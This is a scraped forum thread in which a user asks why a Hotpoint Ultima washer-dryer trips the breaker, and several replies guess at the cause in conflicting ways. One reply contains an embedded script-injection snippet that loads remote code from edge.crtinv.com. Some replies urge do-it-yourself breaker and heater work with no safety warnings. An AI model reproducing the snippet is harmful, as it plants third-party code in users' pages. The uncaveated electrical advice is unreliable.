My hotpoint ultima keeps triping the trip switch. it had f08 on the screen but now that has gone, but still trips electrics every time i press start.

Motor is probably defective. The only other thing that could cause the breaker to trip is a short circuit. Look for any wires that have come loose and fell off from any terminal connection points.

Check to make sure the breaker is rated for the current draw of the dryer. If it is, you MAY have a bad breaker. Replace your breaker and If the dryer is still tripping the breaker, your dryer needs to be repaired by a qualified technician.... the heating element is probably burned up and shorting out.

Your circuit breaker is bad,can't tell by looking,remove and take to lowes and match up and install and see if it trips again.

This would tend to indicate a problem with the temperature sensor not switching off the heatercircuit so it overheats and then trips. As soon as it cools down the machine will continue to work OK. This shouldbe a very quick and cheap repair.!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState '' this.readyState=="loaded" '' this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

It is possible that the inlet valve or the motor or the control panel is faulty.

The electric is tripping because of a short or overload in the control panel output.

well you right in saying "its triping the braker off" thats what it is doing,,
there is a problem with the washer motor,,its pulling far to many amps so its a fulty motor,,,and it will just keep triping the trip out,,,
its a good job you have trips,,the motor could have gone up in smoke

Try disconnecting the heater element, and see what happens.
If it still trips, then it is likely to be a problem with the motor.
Hope this helps.

I suspect that the problem is probably being caused by a fault on the dryer element or thermostat.
Remove the top cover and disconnect the heater, and see what happens..
If it does not trip, then prob is the dryer element or stat.
Hope this helps.

Short circuit on the door switch module

sounds very much like a faulty element iff not check brushs on motor depending on age of machine
